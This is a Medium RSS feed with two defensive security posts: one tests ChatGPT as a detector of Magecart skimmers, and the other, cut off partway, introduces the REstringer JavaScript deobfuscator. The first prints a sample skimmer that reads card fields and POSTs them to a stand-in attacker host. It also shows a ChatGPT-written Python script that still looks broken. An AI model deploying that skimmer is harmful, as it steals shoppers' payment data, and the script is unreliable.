<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ben Baryo on Medium]]></title>
        <description><![CDATA[Stories by Ben Baryo on Medium]]></description>
        <link>https://medium.com/@ben.baryo?source=rss-c30b3ea37e19------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*fuRjvA2KF7HErfJ6CyA6Tw.jpeg</url>
            <title>Stories by Ben Baryo on Medium</title>
            <link>https://medium.com/@ben.baryo?source=rss-c30b3ea37e19------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 25 Nov 2026 02:06:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ben.baryo/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Magecart and the PCI-DSS 4.0 Challenge: Is ChatGPT the Answer?]]></title>
            <link>https://medium.com/@ben.baryo/magecart-and-the-pci-dss-4-0-challenge-is-chatgpt-the-answer-37f4ffb6faf2?source=rss-c30b3ea37e19------2</link>
            <guid isPermaLink="false">https://medium.com/p/37f4ffb6faf2</guid>
            <category><![CDATA[pci-dss]]></category>
            <category><![CDATA[magecart]]></category>
            <category><![CDATA[chatgpt]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[automation]]></category>
            <dc:creator><![CDATA[Ben Baryo]]></dc:creator>
            <pubDate>Tue, 15 Aug 2023 07:49:36 GMT</pubDate>
            <atom:updated>2023-08-16T07:41:28.598Z</atom:updated>
            <content:encoded><![CDATA[<p>Being a site admin is a bit like juggling flaming swords, especially with <a href="https://www.humansecurity.com/learn/blog/how-pci-dss-v4.0-is-changing-payment-data-security">the deadlines for PCI-DSS v4.0 compliance</a> fast approaching. It’s a high-stakes game of cat and mouse, where you’re constantly on the lookout for <a href="https://www.humansecurity.com/learn/topics/what-is-magecart">Magecart</a> skimmers hidden amidst the labyrinth of JavaScript files, ready to pounce on unsuspecting prey. What if there was an unlikely solution to the problem?.</p><p>ChatGPT has been touted as the Swiss Army knife of AI, capable of tackling a wide array of tasks. So, why not let it take a stab at detecting Magecart code? But remember, while it might be sharp and pointy, it’s not a magic wand, which isn’t supposed to be sharp. But it is pointy. And magical. Nevermind, I digress. Let’s dive in and see if it can make a splash in the deep end of web security.</p><h3>Let’s Start at the Beginning — What Do We Want?</h3><p>We need to define to ourselves what we want and how we want it. We want to have ChatGPT act as a professional security researcher analyzing JS code for malicious content, specifically Magecart. That’s the <em>what we want</em>. As for the <em>how</em>, we can simply open a new chat, tell ChatGPT we want to analyze JS code for Magecart threats, and then paste in the code we want it to review. But there’s a limit to how long the scripts we paste can be, and if we need it for more than 2 scripts, it starts being tedious. So what we <em>really</em> need is an <strong>automation</strong> of sorts: A Python script that takes a url or a local JS file, and sends it to ChatGPT for analysis.</p><p>Importantly, we need to take everything ChatGPT tells us with <a href="https://garymarcus.substack.com/p/large-language-models-like-chatgpt">a grain</a> <a href="https://www.augusteo.com/chatgpt-fails-task">of</a> <a href="https://github.com/giuven95/chatgpt-failures">salt</a>; the ability to analyze code <a href="https://medium.com/@solarbreeze69/chatgpt-explains-arthur-whitneys-j-incunabulum-5be2ea69a298">is there</a>, but if we play around with it for a bit, we’ll quickly find that it’s better to double check and ask for a breakdown / sources, just to be on the safe side.</p><p>To make the determination of how likely a script is to be Magecart, it’s best that we ask for a range, i.e. a risk score. Since we want to be able to understand what the score is based on, we’ll also ask for a breakdown of the score with reasons for either convicting the script as Magecart, or exonerating it from suspicion.</p><h3>Crafting the Instructions… Promptly</h3><p>When it comes to using ChatGPT, the key to success lies in the prompt. A well-crafted prompt can be the difference between a clear, insightful analysis and a confusing jumble of words. But what makes a good prompt?</p><p>Firstly, it needs to be <strong>clear</strong> and <strong>concise</strong>. ChatGPT is a <em>language model</em>, not a mind reader. It needs explicit instructions on what you want it to do. For our purposes, we want it to analyze a JavaScript file and determine if it’s a Magecart attack or a benign script.</p><p>Secondly, it needs to specify the <strong>format</strong> of the response. Since we’re building an API, we want a JSON-only response with three fields:</p><ul><li>score: on a scale of 1–100, how likely it is that the script is a Magecart attack.</li><li>convictions: an array of objects, each with <em>score</em> and <em>reason</em> fields for why this script is suspicious and how much weight this reason holds in the final score.</li><li>exonerations: a similar array with <em>reasons</em> and <em>score</em> fields detailing reasons this script probably <em>isn’t</em> a Magecart attack, and their weights.</li></ul><p>For clarity’s sake, this is the type of response we’re expecting to get:</p><pre>{<br>  &quot;score&quot;: 99,<br>  &quot;convictions&quot;: [<br>    {<br>      &quot;score&quot;: 100,<br>      &quot;reason&quot;: &quot;It says it is a Magecart script right at the top&quot;<br>    }<br>  ],<br>  &quot;exonerations&quot;: [<br>    {<br>      &quot;score&quot;: 1,<br>      &quot;reason&quot;: &quot;it says at the bottom not to believe what is written at the top&quot;<br>    }<br>  ]<br>}</pre><p>Here’s an example of a prompt that encompasses all these instructions. Notice that we’ve tried to be as explicit as possible regarding the requirements and our expectations:</p><pre>You are taking on the role of a professional client-side security researcher.<br>Your task is to analyze JavaScript code and determine the likelihood of it being malicious, specifically in the context of Magecart type attacks.<br>You will be provided with JavaScript code, which might be obfuscated.<br>In response, will provide a JSON object of the following structure: <br>- A key of `score` with a value representing the likelihood of the code being a Magecart attack on a scale of 1 to 100, where 100 is most likely.<br>- A key of `convictions` with a value being an array of objects.<br>  Each object should contain a `reason` and `score` key, the `reason` being why the script is likely to be malicious and the `score` being the weight of that reason on the total score. <br>- A key of `exonerations`, with a structure similar to the `convictions` key value, but the reasons are why the script is *not* likely to be malicious, with its appropriate weight in the `score` field. <br>The analysis of the code should disregard execution context.<br>Do not make any assumptions based on strings, identifier names, or comments found in the code, nor on the domain name, path, or query strings of the script&#39;s url itself.<br>The analysis should only rely on actions performed in the script, APIs mentioned, and execution flow.<br>Following these instructions you will be provided with the JS code for analysis.<br>Refrain from providing any output other than the JSON.</pre><p>If the initial response from ChatGPT is unsatisfactory, don’t despair. The beauty of this process is that we can iterate and refine our prompt until we get the results we want. Remember, even the best chocolate makers tweak their recipes until they get the perfect blend of flavors.</p><p>In our experiment here, we’ll use the paid version of ChatGPT 4 (July 20 version) with the following plugins enabled — <a href="https://gptstore.ai/plugins/voxscript-awt-icu">VoxScript</a>, <a href="https://gptstore.ai/plugins/api-metaphor-systems">Metaphor Search</a>, and <a href="https://gptstore.ai/plugins/-gochitchat-ai">Link Reader</a>. These are used to allow ChatGPT access to any online resource it deems necessary for the process.</p><p>Let’s put this prompt to the test with a toy example — a simple Magecart attack that we’ve reproduced from a real world attack:</p><pre>(function() {<br>  const exfiltrationUrl = &#39;https://maliciouscnc.com/collector&#39;;<br>  const targetSubmitButtonId = &#39;#submitBtn&#39;;<br>  const targetEmailId = &#39;#email&#39;;<br>  const targetNameId = &#39;#name&#39;;<br>  const targetCCId = &#39;#ccNum&#39;;<br>  const targetExpId = &#39;#ccExp&#39;;<br>  const targetCvvId = &#39;#ccCvv&#39;;<br>  $(targetSubmitButtonId).on(&#39;mouseover&#39;, function() {<br>    $.ajax({<br>      url: exfiltrationUrl,<br>      type: &#39;POST&#39;,<br>      dataType: &#39;json&#39;,<br>      data: JSON.stringify({<br>        email: $(targetEmailId).val(),<br>        name: $(targetNameId).val(),<br>        ccNumber: $(targetCCId).val(),<br>        ccExpirationDate: $(targetExpId).val(),<br>        ccCvv: $(targetCvvId).val(),<br>      }),<br>      success: () =&gt; {},<br>      error: () =&gt; {}<br>    })<br>  });</pre><p>Here’s what we get in return:</p><pre>{<br>  &quot;score&quot;: 95,<br>  &quot;convictions&quot;: [<br>    {<br>      &quot;reason&quot;: &quot;The script uses the AJAX method to send data to an external URL, which is a common technique used in Magecart attacks to exfiltrate data.&quot;,<br>      &quot;score&quot;: 35<br>    },<br>    {<br>      &quot;reason&quot;: &quot;The script is targeting form input fields, specifically those that could contain sensitive information such as credit card details. This is a common behavior of Magecart attacks.&quot;,<br>      &quot;score&quot;: 30<br>    },<br>    {<br>      &quot;reason&quot;: &quot;The script is triggered on a mouseover event on the submit button, which could be a tactic to exfiltrate data before form submission.&quot;,<br>      &quot;score&quot;: 30<br>    }<br>  ],<br>  &quot;exonerations&quot;: [<br>    {<br>      &quot;reason&quot;: &quot;The script does not directly manipulate the Document Object Model (DOM) or inject any elements, which is a common behavior in Magecart attacks.&quot;,<br>      &quot;score&quot;: 5<br>    }<br>  ]<br>}</pre><p>It’s pretty good for a first try, but a couple of things stand out:</p><ul><li>We <em>know</em> that it’s a Magecart attack, so the score should be 100.</li><li>It’s taking into account common behaviors that are not really indicative of Magecart attacks, like obfuscation.</li><li>It deducts score based on specific techniques it expects to find, making it more of an issue with unmet expectations rather than an objective analysis.</li></ul><p>Just like when trying to improve a Google search query to return more accurate results, it’s an iterative process, perfecting the prompt to get the desired output. Let’s try making a few improvements based on what we’ve observed, while also narrowing down the definition of what is important to us when detecting a Magecart attack, i.e. skimming and exfiltration (the changes are highlighted):</p><pre>You are taking on the role of a professional client-side security researcher.<br>Your task is to analyze JavaScript code and determine the likelihood of it being malicious, specifically in the context of Magecart type attacks.<br>You will be provided with JavaScript code, which might be obfuscated.<br>In response, will provide a JSON object of the following structure: <br>- A key of `score` with a value representing the likelihood of the code being a Magecart attack on a scale of 1 to 100, where 100 is most likely.<br>- A key of `convictions` with a value being an array of objects.<br>  Each object should contain a `reason` and `score` key, the `reason` being why the script is likely to be malicious and the `score` being the weight of that reason on the total score. <br>- A key of `exonerations`, with a structure similar to the `convictions` key value, but the reasons are why the script is *not* likely to be malicious, with its appropriate weight in the `score` field. <br>The analysis of the code should disregard execution context.<br>Do not make any assumptions based on strings, identifier names, or comments found in the code, nor on the domain name, path, or query strings of the script&#39;s url itself.<br>The analysis should only rely on actions performed in the script, APIs mentioned, and execution flow.<br>**Do not consider commonly used techniques such as obfuscation to be conviction indicators, nor should you consider the lack of it and other techniques and behaviors commonly used in Magecart attacks an exonerating indicator.<br>What constitutes a Magecart attack is the existence of the following - skimming, i.e. reading user provided data, and exfiltration - sending that data somewhere.<br>Only the lack of these two behaviors may exonerate the script.**<br>Following these instructions you will be provided with the JS code for analysis.<br>Refrain from providing any output other than the JSON.</pre><p>And the result after submitting the script with the new prompt:</p><pre>{<br>  &quot;score&quot;: 100,<br>  &quot;convictions&quot;: [{<br>      &quot;reason&quot;: &quot;The script is attaching an event handler to a submit button that triggers an AJAX POST request to an external URL, which is a common behavior in Magecart attacks for data exfiltration.&quot;,<br>      &quot;score&quot;: 50<br>    },<br>    {<br>      &quot;reason&quot;: &quot;The script is collecting sensitive user input data (email, name, credit card number, expiration date, and CVV) and sending it to an external server, which is a clear sign of data skimming, a behavior associated with Magecart attacks.&quot;,<br>      &quot;score&quot;: 50<br>    }<br>  ],<br>  &quot;exonerations&quot;: []<br>}</pre><p>Much better! Full disclosure: a couple of prompt attempts were made in between these two versions that gave worse results. It’s part of the issue of working with the black box that is ChatGPT — the butterfly effect a single word has on the overall result is something that needs to be acknowledged, so a single good result might not be a strong enough indicator of the overall feasibility of the process.</p><p>Let’s test the ability of ChatGPT to scan obfuscated scripts by supplying it with an obfuscated version of the same toy example:</p><pre>{<br>  &quot;score&quot;: 100,<br>  &quot;convictions&quot;: [{<br>      &quot;reason&quot;: &quot;The script is listening for a mouseover event on a submit button, which is a common way to trigger data collection once user data has been entered.&quot;,<br>      &quot;score&quot;: 30<br>    },<br>    {<br>      &quot;reason&quot;: &quot;The script is collecting values from form fields, which could include sensitive information such as credit card details and personal information.&quot;,<br>      &quot;score&quot;: 35<br>    },<br>    {<br>      &quot;reason&quot;: &quot;The script is sending the collected data to a remote server via a POST request, which is a common method of data exfiltration.&quot;,<br>      &quot;score&quot;: 35<br>    }<br>  ],<br>  &quot;exonerations&quot;: []<br>}</pre><p>Surprise! We got the same score but the reasons were divided differently. After asking ChatGPT about the differences, it has profusely apologized and stated that there was an “error in the analysis process” and the second result is the correct analysis. A great reminder for us to take the results with a grain of salt.</p><p>It should be noted that ChatGPT’s success in dealing with this example of an obfuscated script does not mean it can handle all types and levels of obfuscation.</p><p>Let’s up the difficulty and submit <a href="https://gist.githubusercontent.com/krautface/469fa925b494b7b436e1fd9346d36b60/raw/fb15cdad05b45fda090cfd7d7347001dc064d9ab/staticounter.net.js">a real life example</a> using an obfuscated Magecart attack appended to the end of an unrelated JS file (you can read the full analysis of the attack in “<a href="https://medium.com/perimeterx/the-far-point-of-a-static-encounter-f6c9c6ef6e5c">The Far Point of a Static Encounter</a>”):</p><pre>{<br>  &quot;score&quot;: 1,<br>  &quot;convictions&quot;: [],<br>  &quot;exonerations&quot;: [{<br>      &quot;reason&quot;: &quot;The script does not contain any code that reads user-provided data.&quot;,<br>      &quot;score&quot;: 50<br>    },<br>    {<br>      &quot;reason&quot;: &quot;The script does not contain any code that sends data somewhere.&quot;,<br>      &quot;score&quot;: 50<br>    }<br>  ]<br>}</pre><p>Not surprising; ChatGPT was ill equipped to handle deobfuscation in such a large obfuscated script. If we submit <a href="https://gist.github.com/BenBaryoPX/0ebf041845c7f5dc6c52151636d5d2fb/raw/8dfe3af4baa44ade0c0353539e805b9e63b8477e/app.nomalert.org-dir-main.js-Generic-deob-renamed.js">the deobfuscated version</a> (<a href="https://github.com/PerimeterX/Restringer">REstringer</a> FTW) we get a much better analysis result:</p><pre>{<br>  &quot;score&quot;: 95,<br>  &quot;convictions&quot;: [{<br>      &quot;reason&quot;: &quot;The script uses the &#39;XMLHttpRequest&#39; object to send HTTP requests, which is a common method used in data exfiltration.&quot;,<br>      &quot;score&quot;: 40<br>    },<br>    {<br>      &quot;reason&quot;: &quot;The script uses &#39;document.cookie&#39; which can be used to access sensitive user data.&quot;,<br>      &quot;score&quot;: 30<br>    },<br>    {<br>      &quot;reason&quot;: &quot;The script uses &#39;addEventListener&#39; method to listen for user interactions, which can be used in skimming attacks.&quot;,<br>      &quot;score&quot;: 25<br>    }<br>  ],<br>  &quot;exonerations&quot;: [{<br>    &quot;reason&quot;: &quot;The script does not use any known malicious domains or IP addresses for data exfiltration.&quot;,<br>    &quot;score&quot;: 5<br>  }]<br>}</pre><p>Before we sign off on this version, let’s give it a benign script and verify that we’re not creating an overzealous Magecart conviction bot. Here’s the result of the analysis of our benign script — <a href="https://gist.github.com/BenBaryoPX/279d21a3391eb6dc152b7683d92a37b9">a generic Google Analytics snippet</a>:</p><pre>{<br>  &quot;score&quot;: 5,<br>  &quot;convictions&quot;: [],<br>  &quot;exonerations&quot;: [{<br>      &quot;reason&quot;: &quot;The script does not contain any code that reads user-provided data.&quot;,<br>      &quot;score&quot;: 50<br>    },<br>    {<br>      &quot;reason&quot;: &quot;The script does not contain any code that sends data to a remote server.&quot;,<br>      &quot;score&quot;: 45<br>    }<br>  ]<br>}</pre><p>That’s fine, though giving the script 5 points without a single convicting reason seems a bit off.</p><p>To make things worse, if we obfuscate the script, we get a completely different picture:</p><pre>{<br>  &quot;score&quot;: 20,<br>  &quot;convictions&quot;: [{<br>      &quot;reason&quot;: &quot;The script manipulates the Google Analytics object and its methods, which could be used to intercept data.&quot;,<br>      &quot;score&quot;: 10<br>    },<br>    {<br>      &quot;reason&quot;: &quot;The script manipulates the &#39;dataLayer&#39; object and its &#39;push&#39; method, which could be used to intercept data.&quot;,<br>      &quot;score&quot;: 10<br>    }<br>  ],<br>  &quot;exonerations&quot;: [{<br>      &quot;reason&quot;: &quot;The script does not contain any explicit network requests, which are typically used in Magecart attacks for data exfiltration.&quot;,<br>      &quot;score&quot;: 60<br>    },<br>    {<br>      &quot;reason&quot;: &quot;The script does not seem to interact with form elements or listen for keyboard events, which are common techniques for skimming user input.&quot;,<br>      &quot;score&quot;: 20<br>    }<br>  ]<br>}</pre><p>The score is still pretty low, if we were to get such a result in our pipeline, would we have spent time analyzing the script ourselves? If we didn’t ask ChatGPT to only provide us with a JSON response, it would surely have reminded us that it’s not a security tool and should not be relied upon as such.</p><h3>Use The ChatGPT to Automate The ChatGPT</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DQct2rnYk8YMo92n" /></figure><p>Now that we have our prompt, let’s turn our attention to the Python script that will download the JavaScript file and submit it along with the prompt to ChatGPT. <em>Hey Siri.. No, wait, I mean Hey ChatGPT, create a Python script that provides the previously submitted prompt as well as downloads and submits the script found in the url to ChatGPT, and displays the JSON response</em>.</p><p>&gt;&gt; <em>Sure, here is a Python script that uses the requests library to download the JavaScript file from the provided URL and then submits it to the ChatGPT API for analysis. Please note that you need to replace YOUR_OPENAI_API_KEY with your actual </em><a href="https://help.openai.com/en/articles/4936850-where-do-i-find-my-secret-api-key"><em>OpenAI API key</em></a><em>.</em></p><pre>import openai<br>import requests<br><br># Initialize the OpenAI SDK with your API key<br>openai.api_key = &#39;YOUR_OPENAI_API_KEY&#39;<br><br>def send_prompt_to_chatgpt(prompt, js_code):<br># Construct the full prompt with the attached JS code<br>full_prompt = f&quot;{prompt}\n\nAttached JS Code:\n{js_code}&quot;<br><br># Use the OpenAI SDK to send the prompt to ChatGPT-4<br>response = openai.Completion.create(<br>model=&quot;text-davinci-002&quot;,<br>prompt=full_prompt,<br>max_tokens=150<br>)<br><br># Return the response text<br>return response.choices[0].text.strip()<br><br># Download the JavaScript file<br>url = &quot;https://gist.githubusercontent.com/krautface/469fa925b494b7b436e1fd9346d36b60/raw/fb15cdad05b45fda090cfd7d7347001dc064d9ab/staticounter.net.js&quot;<br>response = requests.get(url)<br>js_code = response.text<br>prompt = &quot;You are taking on the role of a professional client-side security researcher. Your task is to analyze JavaScript code and determine the likelihood of it being malicious, specifically in the context of Magecart type attacks. You will be provided with JavaScript code, which might be obfuscated. In response, will provide a JSON object of the following structure: \n- A key of `score` with a value representing the likelihood of the code being a Magecart attack on a scale of 1 to 100, where 100 is most likely.\n- A key of `convictions` with a value being an array of objects. Each object should contain a `reason` and `score` key, the `reason` being why the script is likely to be malicious and the `score` being the weight of that reason on the total score. \n- A key of `exonerations`, with a structure similar to the `convictions` key value, but the reasons are why the script is *not* likely to be malicious, with its appropriate weight in the `score` field. \nThe analysis of the code should disregard execution context. Do not make any assumptions based on strings, identifier names, or comments found in the code, nor on the domain name, path, or query strings of the script&#39;s url itself. The analysis should only rely on actions performed in the script, APIs mentioned, and execution flow. Do not consider commonly used techniques such as obfuscation to be conviction indicators, nor should you consider the lack of it and other techniques and behaviors commonly used in Magecart attacks an exonerating indicator. What constitutes a Magecart attack is the existence of the following - skimming, i.e. reading user provided data, and exfiltration - sending that data somewhere. Only the lack of these two behaviors may exonerate the script.\nFollowing these instructions you will be provided with the JS code for analysis.\nRefrain from providing any output other than the JSON.&quot;<br><br>response = send_prompt_to_chatgpt(prompt, js_code)<br><br># Print the response<br>print(json.dumps(response.json(), indent=2))<br></pre><p>And there you have it! A Python script that uses ChatGPT to analyze JavaScript files for potential Magecart attacks. There were a couple of errors in the original script provided by ChatGPT that needed fixing. Even while coaxing it in the direction of the correct solutions for the mistakes in the code, it eventually gave up and wrote <em>“If you’re still having trouble, it’s possible that OpenAI has released new models or updated their API after my last training data in September 2021. In that case, I would recommend checking the OpenAI API documentation for the most up-to-date information.”</em></p><p>It’s not a silver bullet, but it’s a start. And remember, in the fight against Magecart, every bit helps.</p><h3>Free vs Fee: A Tale of Two GPTs</h3><p>Initially, I had planned to pit the two tiers against each other by holding a grand GPT showdown. However, to avoid derailing our main discussion, I’ve decided to put the showdown on hold. If this topic sparks your curiosity, your input would be most welcome.</p><h3>No More Chit-Chat: Why Real Security Needs HUMAN Security’s Client-Side Defense</h3><p>ChatGPT-based analysis can be likened to a flashlight in the dark — it’s great when you’re starting from scratch and need to illuminate potential threats in your JavaScript files. It can provide a basic level of insight, helping you identify scripts that might be worth a second look. But when it comes to serious security and compliance, relying solely on ChatGPT, <a href="https://arxiv.org/pdf/2307.09009.pdf">inconsistency over time</a> aside, is akin to bringing a knife to a wizard’s duel. It’s simply not equipped to handle the complex and evolving landscape of web security threats. <em>Just like a wizard</em>.</p><p>For those who are serious about security and compliance with PCI DSS 4.0’s requirements 6.4.3 and 11.6.1, <a href="https://www.humansecurity.com/products/code-defender"><em>HUMAN’s Client-Side Defense &amp; PCI DSS Compliance</em></a> offers a far more <strong>user-friendly &amp; comprehensive solution</strong>. By deploying a single line of code, customers receive a risk-scored inventory of all scripts, a simple method to authorize and justify scripts, alerts on unauthorized changes, and audit reports to demonstrate compliance. HUMAN Security doesn’t just skim the surface with static code analysis; it dives deep, capable of analyzing both obfuscated and unobfuscated code with advanced techniques. But where it truly shines is in its <strong>behavior-based detection</strong>. Rather than just looking at the code, it considers what’s <em>actually happening</em> on the site. It’s like having a security guard who doesn’t just check IDs at the door, but keeps an eye on what’s happening inside the party.</p><p>And the cherry on top? Client-Side Defense doesn’t just detect threats; it actively mitigates them. It can block an entire script from loading or prevent specific actions that breach PCI-DSS compliance, such as reading user input or exfiltrating data. These are the building blocks of a Magecart attack, and HUMAN’s Client-Side Defenseis like a skilled construction worker, ready to spot and fix any structural issues before they become a problem.</p><p>So, while ChatGPT and traditional scanning techniques might be handy tools to have in your security toolkit, they’re not the be-all and end-all solution. When it comes to serious security and compliance, you’ll need a more robust and comprehensive solution, like HUMAN’s Client-Side Defense. After all, when it comes to protecting your site, it’s better to be safe than sorry!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=37f4ffb6faf2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Defeating Javascript Obfuscation]]></title>
            <link>https://medium.com/perimeterx/defeating-javascript-obfuscation-6ac44877a944?source=rss-c30b3ea37e19------2</link>
            <guid isPermaLink="false">https://medium.com/p/6ac44877a944</guid>
            <category><![CDATA[obfuscation]]></category>
            <category><![CDATA[deobfuscate-javascript]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[magecart]]></category>
            <category><![CDATA[deobfuscation]]></category>
            <dc:creator><![CDATA[Ben Baryo]]></dc:creator>
            <pubDate>Fri, 22 Jul 2022 18:36:14 GMT</pubDate>
            <atom:updated>2022-07-24T10:14:21.695Z</atom:updated>
            <content:encoded><![CDATA[<p>The story of REstringer — a new open source Javascript deobfuscator.</p><h3>TL;DR</h3><p>Now this is a story all about how<br>My code gets flipped-turned upside down<br>And I’d like to take a minute<br>Just sit right there<br>I’ll tell you how I came to build my deobfuscator — REstringer.</p><p>To make a long story short, I’m releasing a Javascript deobfuscation tool called REstringer, both <a href="https://github.com/PerimeterX/Restringer">as code</a> and as <a href="https://restringer.tech/">an online tool</a>.<br>To make a short story long — I want to share my incentive for creating the tool, some design decisions, and the process through which I’m adding new capabilities to it — so you can join in on the fun! It’s time to put the FUN into Javascript o̶b̶f̶u̶s̶... d̶e̶o̶b̶F̶U̶N̶s̶c̶a̶… — Ok this might need some work 😅.</p><h3>REsolve, REplace, REpeat</h3><h4>The Name Is Carter. Magecarter.</h4><p>A couple of years ago, I started working on the Code Defender research team at PerimeterX. Part of my workflow includes investigating Magecart attacks, which are now almost synonymous with skimming attacks. These attacks usually take the form of Javascript files injected either directly into compromised sites, or delivered via a compromised third-party script. I collect these files and analyze them. I will share more about my investigation process in a future post.</p><p>There are many approaches to code analysis, though we can basically categorize them as:</p><ul><li>Static — reviewing the code without running it. Finding patterns, and following the code’s execution flow.</li><li>Dynamic — running the code in whatever research environment that works for you, stopping mid-execution and observing values and stack order in context.</li></ul><p>Unless the script is really simple to understand or you’ve already dealt with similar code, you’d use a combination of the two approaches to get the complete picture of what the script does and how.</p><p>For example, when analyzing a script like the <a href="https://gist.github.com/BenBaryoPX/5131a9344df3fd44270a26ef8a4b1cb0"><em>anti-vm</em> skimmer</a> mentioned in my previous blog posts (<a href="https://www.perimeterx.com/tech-blog/2022/far-point-static-encounter/">The Far Point of a Static Encounter</a> and <a href="https://www.perimeterx.com/tech-blog/2022/automating-skimmer-deobfuscation/">Automating Skimmer Deobfuscation</a>), I would use a combination of static analysis of the code’s structure and only run parts of the code (in the Chrome devtools, on the about:blank page):</p><ol><li>Identify an unpacking / decoding function by observing the code structure. How this is identified is mentioned in the previous blogs.</li></ol><p>The UDS function matches the description:</p><pre>function UDS(b) {<br> // …<br> return f.join(&#39;&#39;);<br>}</pre><p>2. Identify an instance where UDS is called with a string argument.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/ec7dfb3768eacf095467620425380dc9/href">https://medium.com/media/ec7dfb3768eacf095467620425380dc9/href</a></iframe><p>I replaced the MXQ variable with its value, 759 — 748, which is 11.</p><p>3. Unpack / decode relevant strings dynamically by running as little code as possible.</p><p>I copy the UDS function and append the call to it afterwards to get the value:</p><figure><img alt="An image of the relevant code executed in Chrome’s devtools’ console in the about:blank page." src="https://cdn-images-1.medium.com/max/616/0*aX5FLdNuwx-gGPna" /><figcaption>That was very constructive.</figcaption></figure><p>Now, I take that value and replace the function call with it.</p><p>That’s not so bad, is it? Doing this once or twice is fine and dandy, but it can be pretty time consuming and tiresome when faced with more and more instances of the same obfuscation.</p><p>In the words of Raymond Hettinger — “<strong><em>There must be a better way</em></strong>”!<br>And of course there is! If you can do it manually, you can almost definitely write a script to do it.</p><h3>The Better Way (Take 1) — An Array of References</h3><p>Let’s start with something simple and work our way up.</p><p>One of the more basic obfuscation types actively used by Magecart attackers is the <em>Array Replacements</em> method. It is characterized by having an array initialized with strings, and references throughout the code to indices inside the array.</p><p>What does it look like?</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/31fdf08dd36ffe85e4f28476d896f2df/href">https://medium.com/media/31fdf08dd36ffe85e4f28476d896f2df/href</a></iframe><p>I’ll follow the example of Guy Bary, in his <a href="https://www.perimeterx.com/tech-blog/2020/analyzing_magecart_malware_from_zero_to_hero/">Analyzing Magecart Malware — From Zero to Hero</a> blog post:</p><ol><li>Load the array into memory.</li><li>Find the array references using regex.</li><li>Get their value by running them with eval.</li><li>Replace the references with the actual value.</li></ol><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/825441908a71d1b379b8e83a6485994b/href">https://medium.com/media/825441908a71d1b379b8e83a6485994b/href</a></iframe><p>While this <em>does</em> work, it requires manual intervention — providing the name of the array. Of course, we could and should also cache the results or use replaceAll to improve performance, but that would take away from the simplicity of the example.</p><p>Notice I’m initially running only the first line of the code, using code.split(‘\n’)[0], to avoid any side effects which might arise due to running the entire code, namely a ‘hello world’ message being printed out during execution. Although I managed to avoid that here, the source script could have placed the array pretty much anywhere, or be devoid of new lines completely (as is often the case with injected code). The side effect could also be a lot worse than just a benign message.</p><h3>Increasing The Complexity</h3><p>Let’s mix it up a bit. Consider an evolution of this obfuscation technique, the <em>Augmented Array Replacements</em> method. It has the same characteristics as its un-augmented counterpart, but with an additional <a href="https://developer.mozilla.org/en-US/docs/Glossary/IIFE">Immediately Invoked Function Expression</a> (or IIFE) with a reference to the array as one of its arguments, which changes (augments) the values in the array in some way.</p><p>What does it look like?</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/72c22b639418a8c1e9e11c399ee6b111/href">https://medium.com/media/72c22b639418a8c1e9e11c399ee6b111/href</a></iframe><p>After arr is declared, the IIFE reverses its order so that each index now points to the correct value. If we try to run the deobfuscation script on it as-is, we’d get this broken code:</p><pre>console[&#39;world&#39;](&#39; &#39; + &#39;hello&#39; + &#39;log&#39;);</pre><p>The easy solution is to run the script as-is to get the context just right, and then search-and-replace. To do that, we remove the line splitting from eval(code.split(‘\n’)[0]) and are left with eval(code).</p><h3>Traps That Spring Break (Execution)</h3><p>Guy’s blog deals with a different obfuscation type though — the <em>Augmented Array Function Replacements</em> (skipped the un-augmented version). This obfuscation type also contains an array with strings and an IIFE augmenting it, but instead of being directly referenced throughout the code, a function call is used with string/number parameters. This function retrieves the value from the array corresponding with the provided parameters.</p><p>What does it look like?</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a7f1a0a2bb016aa3a5a385ef905b6a12/href">https://medium.com/media/a7f1a0a2bb016aa3a5a385ef905b6a12/href</a></iframe><p>This toy example shows the added value of the function and why it’s preferred to the simpler <em>array replacements</em>: you can do anything you want inside the function, namely, distance the parameter value from the actual array index to avoid simple search and replace tactics, and lay traps to ensnare investigators and to poke in curious eyes 👉👀. The trap I’ve included hangs execution (but doesn’t break it) if the devtools are open or if it runs inside an IDE with debugging capabilities. Due to the script being very short with only 4 calls to the dec function, it doesn’t really do much more than annoy, but imagine a script with hundreds of calls — it’d get pretty old pretty fast. You can of course counter this simple trap in a number of ways such as disabling breakpoints, removing that line manually, etc.</p><p>Here are a couple examples of conditions on which traps might spring and break execution:</p><ul><li>The devtools are opened.</li><li>The script is beautified.</li><li>There are indicators of the NodeJS environment.</li><li>There are indicators of a VM environment.</li></ul><p>Another useful trick to throw the investigation of this obfuscated script off-track is by supplying the dec function with a throwaway argument, which isn’t used at all (like the a argument in the example). All the calls contain different and a random first parameter, which helps in complicating search-and-replace patterns. Adding insult to injury, you can even overload the function calls with additional unnecessary parameters to completely change the call signature.</p><p>As those of you who like playing with the code while reading might have noticed, this example can still be deobfuscated with our simple search and replace technique, like so:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a 